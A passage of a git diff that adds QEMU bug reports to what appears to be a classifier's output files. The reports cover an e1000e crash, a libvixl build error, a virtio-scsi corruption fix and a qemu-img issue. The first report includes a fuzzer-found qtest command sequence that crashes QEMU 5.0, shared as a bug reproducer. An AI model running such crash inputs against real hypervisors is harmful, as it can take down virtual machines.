/home/alxndr/Development/qemu/memory.c:483 +#19 0x00005555565e7212 in access_with_adjusted_size (addr=0x438, value=0x7fffffff9cb0, size=0x1, access_size_min=0x4, access_size_max=0x4, access_fn=0x5555565e72e0 <memory_region_write_accessor>, mr=0x7fffee0dd110, attrs=...) at /home/alxndr/Development/qemu/memory.c:544 +#20 0x00005555565e5c31 in memory_region_dispatch_write (mr=0x7fffee0dd110, addr=0x438, data=0xcb, op=MO_8, attrs=...) at /home/alxndr/Development/qemu/memory.c:1476 +#21 0x00005555563f04b9 in flatview_write_continue (fv=0x606000037880, addr=0xe1020438, attrs=..., ptr=0x61900009ba80, len=0x1, addr1=0x438, l=0x1, mr=0x7fffee0dd110) at /home/alxndr/Development/qemu/exec.c:3137 +#22 0x00005555563df2dd in flatview_write (fv=0x606000037880, addr=0xe10200a8, attrs=..., buf=0x61900009ba80, len=0x391) at /home/alxndr/Development/qemu/exec.c:3177 + + +I can reproduce this in qemu 5.0 using these qtest commands: + +cat << EOF | ./qemu-system-i386 \ +-qtest stdio -nographic -monitor none -serial none \ +-M pc-q35-5.0 +outl 0xcf8 0x80001010 +outl 0xcfc 0xe1020000 +outl 0xcf8 0x80001014 +outl 0xcf8 0x80001004 +outw 0xcfc 0x7 +outl 0xcf8 0x800010a2 +write 0xe1025008 0x4 0xfbffa3fa +write 0xed040c 0x3 0x080047 +write 0xe1020077 0x3c2 0xce0004ed0000000000cb008405120002e100000000ff000801ffff02ce0004ed0000000000cb008405120002e100000000ff000a01ffff02ce0004ed0000000000cb008405120002e100000000ff000c01ffff02ce0004ed0000000000cb008405120002e100000000ff000e01ffff02ce0004ed0000000000cb008405120002e100000000ff001001ffff02ce0004ed0000000000cb008405120002e100000000ff001201ffff02ce0004ed0000000000cb008405120002e100000000ff001401ffff02ce0004ed0000000000cb008405120002e100000000ff001601ffff02ce0004ed0000000000cb008405120002e100000000ff001801ffff02ce0004ed0000000000cb008405120002e100000000ff001a01ffff02ce0004ed0000000000cb008405120002e100000000ff001c01ffff02ce0004ed0000000000cb008405120002e100000000ff001e01ffff02ce0004ed0000000000cb008405120002e100000000ff002001ffff02ce0004ed0000000000cb008405120002e100000000ff002201ffff02ce0004ed0000000000cb008405120002e100000000ff002401ffff02ce0004ed0000000000cb008405120002e100000000ff002601ffff02ce0004ed0000000000cb008405120002e100000000ff002801ffff02ce0004ed0000000000cb008405120002e100000000ff002a01ffff02ce0004ed0000000000cb008405120002e100000000ff002c01ffff02ce0004ed0000000000cb008405120002e100000000ff002e01ffff02ce0004ed0000000000cb008405120002e100000000ff003001ffff02ce0004ed0000000000cb008405120002e100000000ff003201ffff02ce0004ed0000000000cb008405120002e100000000ff003401ffff02ce0004ed0000000000cb008405120002e100000000ff003601ffff02ce0004ed0000000000cb008405120002e100000000ff003801ffff02ce0004ed0000000000cb008405120002e100000000ff003a01ffff02ce0004ed0000000000cb008405120002e100000000ff003c01ffff02ce0004ed0000000000cb008405120002e100000000ff003e01ffff02ce0004ed0000000000cb008405120002e100000000ff004001ffff02ce0004ed0000000000cb008405120002e100000000ff004201ffff02ce0004ed0000000000cb008405120002e100000000ff004401ffff02ce0004ed0000000000cb008405120002e100000000ff004601ffff02ce0004ed0000000000cb008405120002e100000000ff004801ffff02ce0004ed0000000000cb008405120002e100000000ff004a01ffff02ce0004ed0000000000cb +EOF + +Also attaching them to this report, in case they are formatted incorrectly: +./qemu-system-i386 \ +-qtest stdio -nographic -monitor none -serial none \ +-M pc-q35-5.0 < attachment + +Please let me know if I can provide any further info. +-Alex + + + +I can reproduce this problem with QEMU v5.0, but with the current +version, it does not run into this assertion anymore. Seems like this +problem got fixed in the course of time? Could you please check whether +you could still reproduce this? + +OSS-Fuzz never saw it. It was probably fixed + +According to some automatic bisecting, it seems like this was fixed by this commit here: + + commit c2cb511634012344e3d0fe49a037a33b12d8a98a + hw/net/e1000e: advance desc_offset in case of null descriptor + + diff --git a/results/classifier/deepseek-1/output/issues./1914870 b/results/classifier/deepseek-1/output/issues./1914870 new file mode 100644 index 00000000..73162493 --- /dev/null +++ b/results/classifier/deepseek-1/output/issues./1914870 @@ -0,0 +1,122 @@ + +libvixl compilation failure on Debian unstable + +As of commit 0e324626306: + +$ lsb_release -d +Description: Debian GNU/Linux bullseye/sid + +Project version: 5.2.50 +C compiler for the host machine: cc (gcc 10.2.1 "cc (Debian 10.2.1-6) 10.2.1 20210110") +C linker for the host machine: cc ld.bfd 2.35.1 +C++ compiler for the host machine: c++ (gcc 10.2.1 "c++ (Debian 10.2.1-6) 10.2.1 20210110") +C++ linker for the host machine: c++ ld.bfd 2.35.1 + +[6/79] Compiling C++ object libcommon.fa.p/disas_libvixl_vixl_utils.cc.o +FAILED: libcommon.fa.p/disas_libvixl_vixl_utils.cc.o +c++ -Ilibcommon.fa.p -I. -I.. -Iqapi -Itrace -Iui/shader -I/usr/include/capstone -I/usr/include/glib-2.0 -I/usr/lib/hppa-linux-gnu/glib-2.0/include -fdiagnostics-color=auto -pipe -Wall -Winvalid-pch -Wnon-virtual-dtor -Werror -std=gnu++11 -O2 -g -isystem /home/philmd/qemu/linux-headers -isystem linux-headers -iquote . -iquote /home/philmd/qemu -iquote /home/philmd/qemu/include -iquote /home/philmd/qemu/disas/libvixl -iquote /home/philmd/qemu/tcg/hppa -iquote /home/philmd/qemu/accel/tcg -pthread -D__STDC_LIMIT_MACROS -D__STDC_CONSTANT_MACROS -D__STDC_FORMAT_MACROS -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=2 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wundef -Wwrite-strings -fno-strict-aliasing -fno-common -fwrapv -Wtype-limits -Wformat-security -Wformat-y2k -Winit-self -Wignored-qualifiers -Wempty-body -Wendif-labels -Wexpansion-to-defined -Wimplicit-fallthrough=2 -Wno-missing-include-dirs -Wno-shift-negative-value -Wno-psabi -fPIE -MD -MQ libcommon.fa.p/disas_libvixl_vixl_utils.cc.o -MF libcommon.fa.p/disas_libvixl_vixl_utils.cc.o.d -o libcommon.fa.p/disas_libvixl_vixl_utils.cc.o -c ../disas/libvixl/vixl/utils.cc +In file included from /home/philmd/qemu/disas/libvixl/vixl/utils.h:30, + from ../disas/libvixl/vixl/utils.cc:27: +/usr/include/string.h:36:43: error: missing binary operator before token "(" + 36 | #if defined __cplusplus && (__GNUC_PREREQ (4, 4) \ + | ^ +/usr/include/string.h:53:62: error: missing binary operator before token "(" + 53 | #if defined __USE_MISC || defined __USE_XOPEN || __GLIBC_USE (ISOC2X) + | ^ +/usr/include/string.h:165:21: error: missing binary operator before token "(" + 165 | || __GLIBC_USE (LIB_EXT2) || __GLIBC_USE (ISOC2X)) + | ^ +/usr/include/string.h:174:43: error: missing binary operator before token "(" + 174 | #if defined __USE_XOPEN2K8 || __GLIBC_USE (LIB_EXT2) || __GLIBC_USE (ISOC2X) + | ^ +/usr/include/string.h:492:19: error: missing binary operator before token "(" + 492 | #if __GNUC_PREREQ (3,4) + | ^ +In file included from /home/philmd/qemu/disas/libvixl/vixl/utils.h:30, + from ../disas/libvixl/vixl/utils.cc:27: +/usr/include/string.h:28:1: error: ‘__BEGIN_DECLS’ does not name a type + 28 | __BEGIN_DECLS + | ^~~~~~~~~~~~~ +In file included from /home/philmd/qemu/disas/libvixl/vixl/utils.h:30, + from ../disas/libvixl/vixl/utils.cc:27: +/usr/include/string.h:44:8: error: ‘size_t’ has not been declared + 44 | size_t __n) __THROW __nonnull ((1, 2)); + | ^~~~~~ +/usr/include/string.h:44:20: error: expected initializer before ‘__THROW’ + 44 | size_t __n) __THROW __nonnull ((1, 2)); + | ^~~~~~~ +/usr/include/string.h:47:56: error: ‘size_t’ has not been declared + 47 | extern void *memmove (void *__dest, const void *__src, size_t __n) + | ^~~~~~ +/usr/include/string.h:48:6: error: expected initializer before ‘__THROW’ + 48 | __THROW __nonnull ((1, 2)); + | ^~~~~~~ +/usr/include/string.h:61:42: error: ‘size_t’ has not been declared + 61 | extern void *memset (void *__s, int __c, size_t __n) __THROW __nonnull ((1)); + | ^~~~~~ + +Is there a package dependency missing? + +I think we had some c++ related fixes merged in the last weeks ... is this still reproducible with the current 6.0-rc5 version of QEMU? + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +Still an issue as of commit 6d34aa9969f. + +Looking at commit 875df03b221 logic ("osdep: protect qemu/osdep.h with extern "C"") +I tried this: +-- >8 -- +diff --git a/disas/libvixl/vixl/utils.h b/disas/libvixl/vixl/utils.h +index 5ab134e240..fc28d7456c 100644 +--- a/disas/libvixl/vixl/utils.h ++++ b/disas/libvixl/vixl/utils.h +@@ -27,8 +27,10 @@ + #ifndef VIXL_UTILS_H + #define VIXL_UTILS_H + +-#include <string.h> + #include <cmath> ++extern "C" { ++#include <string.h> ++} + #include "vixl/globals.h" + #include "vixl/compiler-intrinsics.h" +--- +which fixes the problem... + + + +Suggested patch: +https://lists.gnu.org/archive/html/qemu-devel/2021-05/msg04637.html + +Fix has been committed here: +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=2fed21d25b3a9562869 + diff --git a/results/classifier/deepseek-1/output/issues./1967814 b/results/classifier/deepseek-1/output/issues./1967814 new file mode 100644 index 00000000..9cbcbd80 --- /dev/null +++ b/results/classifier/deepseek-1/output/issues./1967814 @@ -0,0 +1,426 @@ + +Ubuntu 20.04.3 - ilzlnx3g1 - virtio-scsi devs on KVM guest having miscompares on disktests when there is a failed path. + +== Comment: #63 - Halil Pasic <email address hidden> - 2022-03-28 17:33:34 == +I'm pretty confident I've figured out what is going on. + +From the guest side, the decision whether the SCSI command was completed successfully or not comes down to looking at the sense data. Prior to commit +a108557bbf ("scsi: inline sg_io_sense_from_errno() into the callers."), we don't +build sense data as a response to seeing a host status presented by the host SCSI stack (e.g. kernel). + +Thus when the kernel tells us that a given SCSI command did not get completed via +SCSI_HOST_TRANSPORT_DISRUPTED or SCSI_HOST_NO_LUN, we end up fooling the guest into believing that the command completed successfully. + +The guest kernel, and especially virtio and multipath are at no fault (AFAIU). Given these facts, it isn't all that surprising, that we end up with corruptions. + +All we have to do is do backports for QEMU (when necessary). I didn't investigate vhost-scsi -- my guess is, that it ain't affected. + +How do we want to handle the back-ports? + +== Comment: #66 - Halil Pasic <email address hidden> - 2022-04-04 05:36:33 == +This is a proposed backport containing 7 patches in mbox format. I tried to pick patches sanely, and all I had to do was basically resolving merge conflicts. + +I have to admit I have no extensive experience in doing such invasive backports, and my knowledge of the QEMU SCSI stack is very limited. I would be happy if the Ubuntu folks would have a good look at this, and if possible improve on it. + +Default Comment by Bridge + +Default Comment by Bridge + +Changing the affected package from "linux (Ubuntu)" (kernel) to "qemu (Ubuntu)" as affected package, since the attached patch set is for qemu. + +List of original commits and the version they were in: + +v5.2.0 +commit 3b12a7fd39307017c8968b8d05986a63b33752b5 +Author: Paolo Bonzini <email address hidden> +Date: Thu Nov 12 10:52:04 2020 +0100 + scsi-disk: convert more errno values back to SCSI statuses + +v6.0.0 +commit f95f61c2c9618fae7d8ea4c1d63e7416884bad52 +Author: Paolo Bonzini <email address hidden> +Date: Wed Feb 24 13:14:07 2021 +0100 + scsi-disk: move scsi_handle_rw_error earlier + +v6.0.0 +commit d7a84021db8eeddcd5d24ab591a1434763caff6c +Author: Paolo Bonzini <email address hidden> +Date: Wed Feb 24 16:30:09 2021 +0100 + scsi: introduce scsi_sense_from_errno() + +v6.0.0 +commit f63c68bc0f514694a958b2e84a204b7792d28b17 +Author: Paolo Bonzini <email address hidden> +Date: Wed Feb 24 18:59:36 2021 +0100 + scsi-disk: pass SCSI status to scsi_handle_rw_error + +v6.0.0 +commit 41af878b96582fc8c83303ab8921e40468403702 +Author: Hannes Reinecke <email address hidden> +Date: Mon Nov 16 19:40:38 2020 +0100 + scsi: Rename linux-specific SG_ERR codes to generic SCSI_HOST error codes + +v6.0.0 +commit db66a15cb80f09da24a5311a3f3b8f0c1835bf71 +Author: Hannes Reinecke <email address hidden> +Date: Mon Nov 16 19:40:39 2020 +0100 + scsi: Add mapping for generic SCSI_HOST status to sense codes + +v6.0.0 +commit a108557bbff8a3f44233982f015f996426411be8 +Author: Hannes Reinecke <email address hidden> +Date: Mon Nov 16 19:40:40 2020 +0100 + scsi: inline sg_io_sense_from_errno() into the callers. + +Thereby indeed this is only for Focal. +Sorry, but analyzing the details will take more time... + +I can confirm that just on the patch-level only two need backporting, the rest applies as is and I have regenerated them to match the packaging requirements. The backport-adaptations themselves are minimal. + +From the content I guess it is complex enough that nobody can be fully sure. +I'm still reading it ... + +Until then a few questions: +- I wonder if we'd also want/need dc293f6 "scsi: fix sense code for EREMOTEIO" (to ensure this kind of ioerror gets to the guest as well) - what do you think? +- I also wondered about 424740d "scsi-disk: do not complete requests early for rerror/werror=ignore" but we do not have 40dce4ee applied so that should be ok + +I'm done reading and while a complex subsystem and a bunch of changes they individually all seem sane to me (although a108557b could have side effects that are hard to spot). + +For SRU considerations I think this includes potential change of behavior of formerly silently ignored errors now becoming visible (or with more detail) to the guest. But IMHO silently hiding I/O errors is asking for problems and data corruption (just as you've found it=, while reporting them is correct. + +I'll later build a PPA for your testing as you seem to have a testcase with Disktest on your side that can reproduce the issue that made you aware. + +Prepared +PPA: https://launchpad.net/~paelzer/+archive/ubuntu/lp-1967814-scsi-error-handling/+packages +MP: https://code.launchpad.net/~paelzer/ubuntu/+source/qemu/+git/qemu/+merge/418636 + +Let us see if one builds and tests fine and the other gets positive review feedback. + +------- Comment From <email address hidden> 2022-04-06 09:24 EDT------- +(In reply to comment #76) +> I can confirm that just on the patch-level only two need backporting, the +> rest applies as is and I have regenerated them to match the packaging +> requirements. The backport-adaptations themselves are minimal. +> +> From the content I guess it is complex enough that nobody can be fully sure. +> I'm still reading it ... +> +> Until then a few questions: +> - I wonder if we'd also want/need dc293f6 "scsi: fix sense code for +> EREMOTEIO" (to ensure this kind of ioerror gets to the guest as well) - what +> do you think? +> - I also wondered about 424740d "scsi-disk: do not complete requests early +> for rerror/werror=ignore" but we do not have 40dce4ee applied so that should +> be ok + +I have nothing against including those. I was under the impression that a minimal fix is desired, and my tests indicate that dose patches are not strictly necessary. + +Generally I think that those are good patches, and having them is better than not having them. But then I hope most of the patches are good patches, and obviously backporting all the good patches is not very practicable -- hence the principle of minimality. + +It is just my two cents. My understanding of SCSI is quite poor. + +You are right for a general stance of SRU minimality + +But this case felt like fixing 7/8 of a single whole. +And while indeed your case didn't need this one more fix someone else would and we touch this code anyway. Vice versa all tests since this is upstream is done with it applied - so the coverage of the code with this added is better than without - so we also avoid unexpected side effects. +OTOH We would not fix something totally else like something in virtio as part of this, no matter how reasonable that patch might look like. + +Let me know if you had time to push the PPA through your testing. + +------- Comment From <email address hidden> 2022-04-07 18:42 EDT------- +(In reply to comment #80) +> Let me know if you had time to push the PPA through your testing. + +Pulled the PPA + +root@ilzlnx3:~# apt info qemu +Package: qemu +Version: 1:4.2-3ubuntu6.22~focalppa1 + +I triggered a path failure from the host and saw the faulty paths on the guest but no data miscompares (first time I've ever seen it not having miscompares at the first try). +Recovered and tried again, this time I did got the miscompares, I captured the DBGINFO and sosreport, let me know if something else is needed. + +********** EXPECTED (Target: /fc/mapper/scsi_32G_d1_ilsd9840l/test, LBA: 1243520, Offset: 5) ********** +00000000 00 00 00 00 00 12 F9 80 00 00 00 00 00 00 00 01 ................ +00000010 00 00 00 00 62 4F 60 1C 00 00 00 00 00 00 06 EB ....bO`......... +00000020 69 6C 7A 6C 6E 78 33 67 31 00 00 00 00 00 00 00 ilzlnx3g1....... +00000030 2F 66 63 2F 6D 61 70 70 65 72 2F 73 63 73 69 5F /fc/mapper/scsi_ +00000040 33 32 47 5F 64 31 5F 69 6C 73 64 39 38 34 30 6C 32G_d1_ilsd9840l + +********** ACTUAL (Target: /fc/mapper/scsi_32G_d1_ilsd9840l/test, LBA: 1243520, Offset: 5) ********** +00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ + + +------- Comment (attachment only) From <email address hidden> 2022-04-07 18:43 EDT------- + + + +------- Comment (attachment only) From <email address hidden> 2022-04-07 18:44 EDT------- + + +------- Comment From <email address hidden> 2022-04-08 05:13 EDT------- +(In reply to comment #81) +> (In reply to comment #80) +> > Let me know if you had time to push the PPA through your testing. +> +> Pulled the PPA +> +> root@ilzlnx3:~# apt info qemu +> Package: qemu +> Version: 1:4.2-3ubuntu6.22~focalppa1 +> +> I triggered a path failure from the host and saw the faulty paths on the +> guest but no data miscompares (first time I've ever seen it not having +> miscompares at the first try). +> Recovered and tried again, this time I did got the miscompares, I captured +> the DBGINFO and sosreport, let me know if something else is needed. +> +> ********** EXPECTED (Target: /fc/mapper/scsi_32G_d1_ilsd9840l/test, LBA: +> 1243520, Offset: 5) ********** +> 00000000 00 00 00 00 00 12 F9 80 00 00 00 00 00 00 00 01 +> ................ +> 00000010 00 00 00 00 62 4F 60 1C 00 00 00 00 00 00 06 EB +> ....bO`......... +> 00000020 69 6C 7A 6C 6E 78 33 67 31 00 00 00 00 00 00 00 +> ilzlnx3g1....... +> 00000030 2F 66 63 2F 6D 61 70 70 65 72 2F 73 63 73 69 5F +> /fc/mapper/scsi_ +> 00000040 33 32 47 5F 64 31 5F 69 6C 73 64 39 38 34 30 6C +> 32G_d1_ilsd9840l +> +> ********** ACTUAL (Target: /fc/mapper/scsi_32G_d1_ilsd9840l/test, LBA: +> 1243520, Offset: 5) ********** +> 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +> ................ +> 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +> ................ +> 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +> ................ +> 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +> ................ + +That is very bad news! :( + +I was not able to trigger the problem with the patched qemu. I will try harder, but if I can't trigger the problem it becomes very difficult for me to work on it. + +------- Comment From <email address hidden> 2022-04-08 05:20 EDT------- +(In reply to comment #81) +> (In reply to comment #80) +> > Let me know if you had time to push the PPA through your testing. +> +> Pulled the PPA +> +> root@ilzlnx3:~# apt info qemu +> Package: qemu +> Version: 1:4.2-3ubuntu6.22~focalppa1 +> +> I triggered a path failure from the host and saw the faulty paths on the +> guest but no data miscompares (first time I've ever seen it not having +> miscompares at the first try). +> Recovered and tried again, this time I did got the miscompares, I captured +> the DBGINFO and sosreport, let me know if something else is needed. + +Maybe we are hitting a different case. Maybe not. In the past we used to observe multiple types of miscompares one of which is the all zero, and another one is wrong but still disktest data. + +I'm curious if we see the wrong disktest data type of miscompare with the patched qemu. + +Also I would like to know if the miscompare is still observable after a reboot (i.e. if you destroy and re-start the guest, and then do a manual compare with disktest on the given block (without the write phase). + +Also can I help you install a self-built upstream qemu so we can test with that as well? Maybe we are just missing some more patches. + +Thanks Vanessa for the testing on the PPA! + +@Halil - I'd leave the debugging of the remaining issue to you as while you can't reproduce it yet it still is much closer to you than it is to me :-/ Thanks in advance, let us know what you find. + +In the meantime I have prepared the SRU content and got a PR review, so once we are convinced it is good - or found what we need to change - we should be ready to continue. + +------- Comment From <email address hidden> 2022-04-25 19:20 EDT------- +(In reply to comment #94) +> Thanks Vanessa for the testing on the PPA! +> +> @Halil - I'd leave the debugging of the remaining issue to you as while you +> can't reproduce it yet it still is much closer to you than it is to me :-/ +> Thanks in advance, let us know what you find. +> +> In the meantime I have prepared the SRU content and got a PR review, so once +> we are convinced it is good - or found what we need to change - we should be +> ready to continue. + +I was not testing the PPA you provided properly, I pulled it again and made sure it was installed and running: + +root@ilzlnx3:~# /usr/bin/qemu-system-s390x --version +QEMU emulator version 4.2.1 (Debian 1:4.2-3ubuntu6.22~focalppa1) +Copyright (c) 2003-2019 Fabrice Bellard and the QEMU Project developers + +I ran the error injects for a few hours and no miscompares were encountered. +Thanks @Halil, for bringing the issue to my attention! + +------- Comment From <email address hidden> 2022-04-28 05:22 EDT------- +(In reply to comment #97) +> (In reply to comment #94) +> > Thanks Vanessa for the testing on the PPA! +> > +> > @Halil - I'd leave the debugging of the remaining issue to you as while you +> > can't reproduce it yet it still is much closer to you than it is to me :-/ +> > Thanks in advance, let us know what you find. +> > +> > In the meantime I have prepared the SRU content and got a PR review, so once +> > we are convinced it is good - or found what we need to change - we should be +> > ready to continue. +> +> I was not testing the PPA you provided properly, I pulled it again and made +> sure it was installed and running: +> +> root@ilzlnx3:~# /usr/bin/qemu-system-s390x --version +> QEMU emulator version 4.2.1 (Debian 1:4.2-3ubuntu6.22~focalppa1) +> Copyright (c) 2003-2019 Fabrice Bellard and the QEMU Project developers +> +> I ran the error injects for a few hours and no miscompares were encountered. +> Thanks @Halil, for bringing the issue to my attention! + +@Ubuntu: I think we can and should move forward with this. The problem with the +previous test results is, that the qemu from the PPA wasn't installed at all, and thus we ended up just verifying that the old one is still broken. + +I read Vanessas comment like, she the issue is not observed any more with the PPA installed: i.e. the fix works at least for the test-case that used to trigger the problem reliably. @Vanessa: Please correct me if I'm wrong. + +------- Comment From <email address hidden> 2022-04-28 18:36 EDT------- +(In reply to comment #98) +> +> @Ubuntu: I think we can and should move forward with this. The problem with +> the +> previous test results is, that the qemu from the PPA wasn't installed at +> all, and thus we ended up just verifying that the old one is still broken. +> +> I read Vanessas comment like, she the issue is not observed any more with +> the PPA installed: i.e. the fix works at least for the test-case that used +> to trigger the problem reliably. @Vanessa: Please correct me if I'm wrong. + +That is correct, the fix works, no miscompares while doing the test-case I've been using to reproduce this issue (tested for a few hours, no more than 30 seconds in between error injects). + +root@ilzlnx3:~# /usr/bin/qemu-system-s390x --version +QEMU emulator version 4.2.1 (Debian 1:4.2-3ubuntu6.22~focalppa1) +Copyright (c) 2003-2019 Fabrice Bellard and the QEMU Project developers + +Following up on some older bugs... +Okay, that means the PPA version of qemu for focal could be successfully verified (no miss-compares). +So I'll change the status back to In Progress ... + +Thanks for the pre-check. +Everything is ready and now uploaded to Focal, there please verify it on the real build once accepted by the SRU team. + +Hello bugproxy, or anyone else affected, + +Accepted qemu into focal-proposed. The package will build now and be available at https://launchpad.net/ubuntu/+source/qemu/1:4.2-3ubuntu6.22 in a few hours, and then in the -proposed repository. + +Please help us by testing this new package. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation on how to enable and use -proposed. Your feedback will aid us getting this update out to other Ubuntu users. + +If this package fixes the bug for you, please add a comment to this bug, mentioning the version of the package you tested, what testing has been performed on the package and change the tag from verification-needed-focal to verification-done-focal. If it does not fix the bug for you, please add a comment stating that, and change the tag to verification-failed-focal. In either case, without details of your testing we will not be able to proceed. + +Further information regarding the verification process can be found at https://wiki.ubuntu.com/QATeam/PerformingSRUVerification . Thank you in advance for helping! + +N.B. The updated package will be released to -updates after the bug(s) fixed by this package have been verified and the package has been in -proposed for a minimum of 7 days. + +I've accepted this, and I agree that this is a good candidate for testing in proposed for longer than 7 days; I'll do so after at least 14 days, so double the normal soak time. + +All autopkgtests for the newly accepted qemu (1:4.2-3ubuntu6.22) for focal have finished running. +The following regressions have been reported in tests triggered by the package: + +ubuntu-image/1.11+20.04ubuntu1 (amd64) + + +Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. + +https://people.canonical.com/~ubuntu-archive/proposed-migration/focal/update_excuses.html#qemu + +[1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions + +Thank you! + + +That was a flaky test, resolved by now. + +This bug was fixed in the package qemu - 1:4.2-3ubuntu6.23 + +--------------- +qemu (1:4.2-3ubuntu6.23) focal-security; urgency=medium + + * SECURITY UPDATE: heap overflow in floppy disk emulator + - debian/patches/CVE-2021-3507.patch: prevent end-of-track overrun in + hw/block/fdc.c. + - CVE-2021-3507 + * SECURITY UPDATE: integer overflow in QXL display device emulation + - debian/patches/CVE-2021-4206.patch: check width and height in + hw/display/qxl-render.c, hw/display/vmware_vga.c, ui/cursor.c. + - CVE-2021-4206 + * SECURITY UPDATE: heap overflow in QXL display device emulation + - debian/patches/CVE-2021-4207.patch: fix race condition in qxl_cursor + in hw/display/qxl-render.c. + - CVE-2021-4207 + * SECURITY UPDATE: memory leakage in virtio-net device + - debian/patches/CVE-2022-26353.patch: fix map leaking on error during + receive in hw/net/virtio-net.c. + - CVE-2022-26353 + * SECURITY UPDATE: memory leakage in vhost-vsock device + - debian/patches/CVE-2022-26354.patch: detach the virqueue element in + case of error in hw/virtio/vhost-vsock.c. + - CVE-2022-26354 + + -- Marc Deslauriers <email address hidden> Thu, 09 Jun 2022 11:35:04 -0400 + +------- Comment From <email address hidden> 2022-06-21 11:20 EDT------- +(In reply to comment #105) +> If this package fixes the bug for you, please add a comment to this bug, +> mentioning the version of the package you tested, what testing has been +> performed on the package and change the tag from verification-needed-focal +> to verification-done-focal. If it does not fix the bug for you, please add a +> comment stating that, and change the tag to verification-failed-focal. In +> either case, without details of your testing we will not be able to proceed. +> +Tested this fix and it has solved the issue. Tested with the following version: + +root@ilzlnx3:~# /usr/bin/qemu-system-s390x --version +QEMU emulator version 4.2.1 (Debian 1:4.2-3ubuntu6.22) +Copyright (c) 2003-2019 Fabrice Bellard and the QEMU Project developers + +Testing performed: +HostSidePortBounce: +1. Run I/O on mapped LUNs +2. Disable one port on host side and wait for 10 minutes +3. Enable the port and wait for 10 minutes +4. Repeat step b and c with the other ports +5. Check I/O tool logs + +Passed. No miscompares or error logs. + +Switch Reboot: +1. Start IO on mapped LUNs +2. Reload brocade/cisco switch and wait for 5 minutes after switch online for host recovery +3. Check I/O tool logs + +Passed. No miscompares or error logs. + +SVC Node reset: +1. Run I/O on mapped LUNs +2. Execute anode reset warm start script against the cluster. +3. Check both I/O logs and script logs + +Passed. No miscompares or error logs. + +zMpath failover failback +1. Run I/O on mapped LUN +2. Vary off one chpid of a lpar and wait for 60 seconds +3. Vary on the chpid ofthe lpar and wait for 20 minutes +4. Repeat step b and c with the other chpids of the lpar +5. Check logs of I/O tool + +Passed. No miscompares or error logs. + +> Further information regarding the verification process can be found at +> https://wiki.ubuntu.com/QATeam/PerformingSRUVerification . Thank you in +> advance for helping! + +Thanks for the patience awaiting testing and for all the effort + diff --git a/results/classifier/deepseek-1/output/issues./660366 b/results/classifier/deepseek-1/output/issues./660366 new file mode 100644 index 00000000..f145224f --- /dev/null +++ b/results/classifier/deepseek-1/output/issues./660366 @@ -0,0 +1,123 @@ + +"qemu-img convert -O qcow2 -o backing_file" makes huge images + +$ dd if=/dev/urandom bs=1M of=1.img count=4 +4+0 records in +4+0 records out +4194304 bytes (4,2 MB) copied, 1,0413 s, 4,0 MB/s +$ qemu-img create -f qcow2 -b 1.img 2.img +Formatting '2.img', fmt=qcow2 size=4194304 backing_file='1.img' encryption=off cluster_size=0 +$ qemu-img convert -O qcow2 -o backing_file=1.img 2.img 3.img +$ du -h ?.img +4,1M 1.img +144K 2.img +4,3M 3.img + +The conversion result is bigger then the source! + +It appears that "-o backing_file" is not applied to data (as expected). I.e. all data is put into the resulting image: both from source image and "backing" image. + +Expected behavior is to put only data that is not present in backing_file. + +It is possible to chain backing files. As a workaround you could do the following: + +$ qemu-img create -f qcow2 -b 2.img 4.img # from now on don't modify 2.img, instead use 4.img +$ qemu-img create -f qcow2 -b 2.img 3.img # here is the 3.img you tried to create with qemu-convert + +Images 1.img and 2.img should never be modified, they are immutable snapshots. + +Images 3.img and 4.img can be modified and will contain only changes against 2.img. + +Perhaps qemu-img needs a command to drop data that is duplicated in the base image. This could be a new flag to commit: qemu-img commit --dedup 3.img. + +Do you confirm this as a bug? + +Sorry I'm not a frequent Launchpad user and will leave it up to someone more familiar to decide which status to place it in. + +On Thu, Oct 14, 2010 at 1:26 PM, Anthony Liguori <email address hidden> wrote: +> ** Changed in: qemu +> Importance: Undecided => Wishlist +> +> ** Changed in: qemu +> Status: New => Confirmed + +Thanks for doing this Anthony. Can I set the status myself next time +or do we have rules on who handles bugs? + +Stefan + +On 10/14/2010 07:51 AM, Stefan Hajnoczi wrote: +> On Thu, Oct 14, 2010 at 1:26 PM, Anthony Liguori<email address hidden> wrote: +> +>> ** Changed in: qemu +>> Importance: Undecided => Wishlist +>> +>> ** Changed in: qemu +>> Status: New => Confirmed +>> +> Thanks for doing this Anthony. Can I set the status myself next time +> or do we have rules on who handles bugs? +> + +I'm pretty sure anyone can do it. If not, I'm certainly willing to give +people extra rights on the project if they want to help with bug triage. + +Regards, + +Anthony Liguori + +> Stefan +> + + +I guess the problem is solved already. +qemu-img version 1.4.0 + +Is this reintroduced? I am on version 2.3.0 + +$ dd if=/dev/urandom of=disk bs=1M count=1024 + +$ qemu-img convert -f raw -O qcow2 disk disk.qcow + +$ qemu-img convert -f raw 